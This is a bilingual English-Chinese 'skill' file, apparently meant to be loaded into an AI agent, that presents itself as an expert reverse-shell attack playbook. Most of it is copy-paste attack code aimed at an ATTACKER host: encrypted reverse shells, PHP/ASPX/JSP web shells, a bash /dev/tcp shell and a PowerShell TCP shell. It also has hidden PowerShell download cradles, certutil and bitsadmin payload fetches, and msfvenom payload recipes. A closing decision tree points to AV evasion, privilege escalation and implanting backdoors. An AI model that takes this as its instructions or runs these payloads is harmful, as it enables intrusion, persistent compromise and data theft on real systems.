reverse-shell-techniques
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Reverse Shell Techniques — Expert Attack Playbook
技能:反向Shell技术——高级攻击手册
AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.
AI加载说明:高级反向Shell技术,涵盖反向/绑定Shell选型、加密Shell(OpenSSL、socat SSL、ncat)、Web Shell模板(PHP/ASPX/JSP)、PTY升级步骤、文件传输方法、PowerShell下载加载器、msfvenom payload生成。基础模型缺少加密Shell语法、正确的PTY稳定方案以及平台专属的传输技巧。
0. RELATED ROUTING
0. 关联技能路径
Before going deep, consider loading:
- tunneling-and-pivoting after shell access for network pivoting
- linux-privilege-escalation or windows-privilege-escalation after landing shell
- windows-av-evasion when AV blocks shell payloads
深入学习前,可考虑加载以下技能:
- 获取Shell访问权限后加载 隧道与内网穿透 进行内网横向移动
- 拿到Shell后加载 Linux权限提升 或 Windows权限提升
- 当杀毒软件拦截Shell payload时加载 Windows杀毒软件绕过
Quick Reference
快速参考
Also load SHELL_CHEATSHEET.md when you need:
- Complete one-liner reverse shells for 20+ languages
- Copy-paste ready payloads with placeholder substitution
当你需要以下内容时也可以加载 SHELL_CHEATSHEET.md:
- 覆盖20+种语言的完整单行反向Shell命令
- 支持占位符替换、可直接复制粘贴的payload
1. REVERSE vs BIND SHELL DECISION
1. 反向Shell vs 绑定Shell选型
| Factor | Reverse Shell | Bind Shell |
|---|---|---|
| Firewall (egress) | Works if outbound allowed | Blocked by egress filtering |
| Firewall (ingress) | Not blocked | Requires inbound access to victim |
| NAT | Works (victim connects out) | Fails (can't reach victim behind NAT) |
| Detection | Outbound connection — less suspicious | Listening port — easily detected |
| Default choice | Almost always preferred | Only when no egress + have inbound |
| 对比项 | 反向Shell | 绑定Shell |
|---|---|---|
| 防火墙(出站) | 只要允许出站即可使用 | 会被出站过滤规则拦截 |
| 防火墙(入站) | 不受入站规则拦截 | 需要能访问受害者的入站端口 |
| NAT环境 | 可用(受害者主动外连) | 不可用(无法访问NAT后的受害者) |
| 检测风险 | 出站连接——更不容易被怀疑 | 监听端口——极易被检测到 |
| 默认选择 | 几乎是首选方案 | 仅当无出站权限且具备入站访问权限时使用 |
2. ENCRYPTED SHELLS
2. 加密Shell
OpenSSL Reverse Shell
OpenSSL反向Shell
bash
undefinedbash
undefinedAttacker: generate cert + listen
攻击端:生成证书 + 监听端口
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Victim:
受害者端:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s
undefinedmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s
undefinedSocat Encrypted Shell
Socat加密Shell
bash
undefinedbash
undefinedAttacker: generate cert + listen
攻击端:生成证书 + 监听端口
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT
Victim:
受害者端:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
undefinedsocat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
undefinedNcat SSL
Ncat SSL
bash
undefinedbash
undefinedAttacker:
攻击端:
ncat --ssl -lvnp 4444
ncat --ssl -lvnp 4444
Victim:
受害者端:
ncat --ssl ATTACKER 4444 -e /bin/bash
---ncat --ssl ATTACKER 4444 -e /bin/bash
---3. WEB SHELLS
3. Web Shell
PHP
PHP
php
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<!-- Minimal stealth shell -->
<?=`$_GET[0]`?>
<!-- POST-based with password -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>php
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<!-- 极简隐匿Shell -->
<?=`$_GET[0]`?>
<!-- 带密码的POST请求型Shell -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>ASPX
ASPX
aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>JSP
JSP
jsp
<%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>jsp
<%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>Upload + Trigger Patterns
上传+触发流程
1. Find upload endpoint → upload shell with allowed extension bypass
2. Locate uploaded file (predictable path, directory listing, response leak)
3. Trigger: GET /uploads/shell.php?cmd=id
4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'1. 找到上传端点 → 绕过扩展名限制上传Shell
2. 定位上传文件位置(通过 predictable路径、目录遍历、响应泄露)
3. 触发:GET /uploads/shell.php?cmd=id
4. 升级为反向Shell:?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'4. PTY UPGRADE SEQUENCE
4. PTY升级步骤
Standard Python Upgrade
标准Python升级方案
bash
undefinedbash
undefinedStep 1: Spawn PTY
步骤1:生成PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
Step 2: Background shell
步骤2:将Shell放到后台
Press Ctrl+Z
按下 Ctrl+Z
Step 3: Configure terminal (on attacker)
步骤3:(攻击端)配置终端
stty raw -echo; fg
stty raw -echo; fg
Step 4: Set environment (back in shell)
步骤4:(回到Shell中)设置环境变量
export TERM=xterm-256color
stty rows 40 cols 160
undefinedexport TERM=xterm-256color
stty rows 40 cols 160
undefinedAlternative Upgrades
替代升级方案
bash
undefinedbash
undefinedscript command
script命令方案
script /dev/null -c bash
script /dev/null -c bash
socat full PTY (requires socat on victim)
socat全功能PTY(受害者端需要安装socat)
Attacker:
攻击端:
socat file:,raw,echo=0 tcp-listen:4444
ttysocat file:,raw,echo=0 tcp-listen:4444
ttyVictim:
受害者端:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444
rlwrap for readline support (attacker side)
攻击端使用rlwrap获取readline支持
rlwrap nc -lvnp 4444
rlwrap nc -lvnp 4444
expect
expect方案
/usr/bin/expect -c 'spawn bash; interact'
---/usr/bin/expect -c 'spawn bash; interact'
---5. FILE TRANSFER METHODS
5. 文件传输方法
Linux
Linux
bash
undefinedbash
undefinedwget / curl
wget / curl方案
wget http://ATTACKER:8000/file -O /tmp/file
curl http://ATTACKER:8000/file -o /tmp/file
wget http://ATTACKER:8000/file -O /tmp/file
curl http://ATTACKER:8000/file -o /tmp/file
Python HTTP server (attacker side)
攻击端启动Python HTTP服务
python3 -m http.server 8000
python3 -m http.server 8000
nc file transfer
nc文件传输
Receiver:
接收端:
nc -lvnp 9999 > file
nc -lvnp 9999 > file
Sender:
发送端:
nc RECEIVER 9999 < file
nc RECEIVER 9999 < file
base64 encode/decode (no tools needed)
base64编解码(无需额外工具)
Encode on source:
源端编码:
base64 -w0 file
base64 -w0 file
Paste on target:
目标端粘贴解码:
echo "BASE64_STRING" | base64 -d > file
echo "BASE64_STRING" | base64 -d > file
scp through pivot
通过跳板机使用scp传输
scp -o ProxyJump=pivot user@target:/path/file ./local
undefinedscp -o ProxyJump=pivot user@target:/path/file ./local
undefinedWindows
Windows
powershell
undefinedpowershell
undefinedPowerShell DownloadFile
PowerShell DownloadFile方案
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')
PowerShell Invoke-WebRequest (PS 3.0+)
PowerShell Invoke-WebRequest(PS 3.0及以上版本支持)
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file
certutil
certutil方案
certutil -urlcache -f http://ATTACKER/file C:\temp\file
certutil -urlcache -f http://ATTACKER/file C:\temp\file
bitsadmin
bitsadmin方案
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file
SMB share (attacker hosts)
SMB共享(攻击端搭建共享)
Attacker: impacket-smbserver share /tmp/share -smb2support
攻击端命令:impacket-smbserver share /tmp/share -smb2support
copy \ATTACKER\share\file C:\temp\file
---copy \ATTACKER\share\file C:\temp\file
---6. POWERSHELL REVERSE SHELLS
6. PowerShell反向Shell
powershell
undefinedpowershell
undefinedOne-liner TCP reverse shell
单行TCP反向Shell
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
Download cradle + execute
下载加载器+执行
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
Base64 encoded execution
Base64编码执行
$cmd = '...reverse shell code...'
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -ep bypass -enc $encoded
---$cmd = '...reverse shell code...'
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -ep bypass -enc $encoded
---7. MSFVENOM PAYLOADS
7. MSFVENOM Payload
bash
undefinedbash
undefinedLinux reverse shell (ELF)
Linux反向Shell(ELF格式)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell
Windows reverse shell (EXE)
Windows反向Shell(EXE格式)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
Meterpreter (staged)
Meterpreter(分阶段payload)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe
Web payloads
Web payload
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx
DLL / HTA / VBS
DLL / HTA / VBS格式
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs
---msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs
---8. DECISION TREE
8. 决策树
Need remote shell on target
│
├── Can execute commands already (RCE)?
│ ├── Linux target?
│ │ ├── bash/python/perl available? → one-liner reverse shell (CHEATSHEET.md)
│ │ ├── Need encryption? → OpenSSL or socat SSL shell (§2)
│ │ └── Outbound blocked? → bind shell or tunnel (see tunneling-and-pivoting)
│ │
│ ├── Windows target?
│ │ ├── PowerShell available? → PS reverse shell (§6)
│ │ ├── Need binary? → msfvenom payload (§7)
│ │ └── AV blocking? → load windows-av-evasion skill
│ │
│ └── Web server (upload possible)?
│ ├── PHP? → PHP web shell (§3) → upgrade to reverse shell
│ ├── ASP.NET? → ASPX shell (§3)
│ └── Java/Tomcat? → JSP shell (§3)
│
├── Got a dumb shell?
│ ├── Python available? → PTY upgrade (§4)
│ ├── script available? → script /dev/null -c bash (§4)
│ ├── socat on target? → socat full PTY (§4)
│ └── None? → rlwrap on attacker side for readline
│
├── Need to transfer tools?
│ ├── Linux: wget/curl/nc/base64 (§5)
│ ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5)
│ └── No outbound? → base64 copy-paste (§5)
│
└── Shell established — next steps?
├── Privilege escalation → load linux/windows-privilege-escalation
├── Pivot to internal network → load tunneling-and-pivoting
└── Persistence → implant backdoor需要在目标上获取远程Shell
│
├── 已经可以执行命令(存在RCE)?
│ ├── 目标是Linux系统?
│ │ ├── 可用bash/python/perl? → 单行反向Shell(参考CHEATSHEET.md)
│ │ ├── 需要加密传输? → OpenSSL或socat SSL Shell(见第2节)
│ │ └── 出站被拦截? → 绑定Shell或隧道(参考隧道与内网穿透技能)
│ │
│ ├── 目标是Windows系统?
│ │ ├── 可用PowerShell? → PowerShell反向Shell(见第6节)
│ │ ├── 需要二进制文件? → msfvenom payload(见第7节)
│ │ └── 杀毒软件拦截? → 加载Windows杀毒软件绕过技能
│ │
│ └── 是Web服务器且支持上传?
│ ├── 支持PHP? → PHP Web Shell(见第3节)→ 升级为反向Shell
│ ├── 支持ASP.NET? → ASPX Shell(见第3节)
│ └── 支持Java/Tomcat? → JSP Shell(见第3节)
│
├── 拿到了无交互哑Shell?
│ ├── 可用Python? → PTY升级(见第4节)
│ ├── 可用script命令? → script /dev/null -c bash(见第4节)
│ ├── 目标端有socat? → socat全功能PTY(见第4节)
│ └── 以上都没有? → 攻击端使用rlwrap获取readline支持
│
├── 需要传输工具?
│ ├── Linux:wget/curl/nc/base64(见第5节)
│ ├── Windows:certutil/PowerShell/bitsadmin/SMB(见第5节)
│ └── 无出站权限? → base64复制粘贴传输(见第5节)
│
└── 已建立Shell —— 后续步骤?
├── 权限提升 → 加载Linux/Windows权限提升技能
├── 横向移动到内网 → 加载隧道与内网穿透技能
└── 持久化 → 植入后门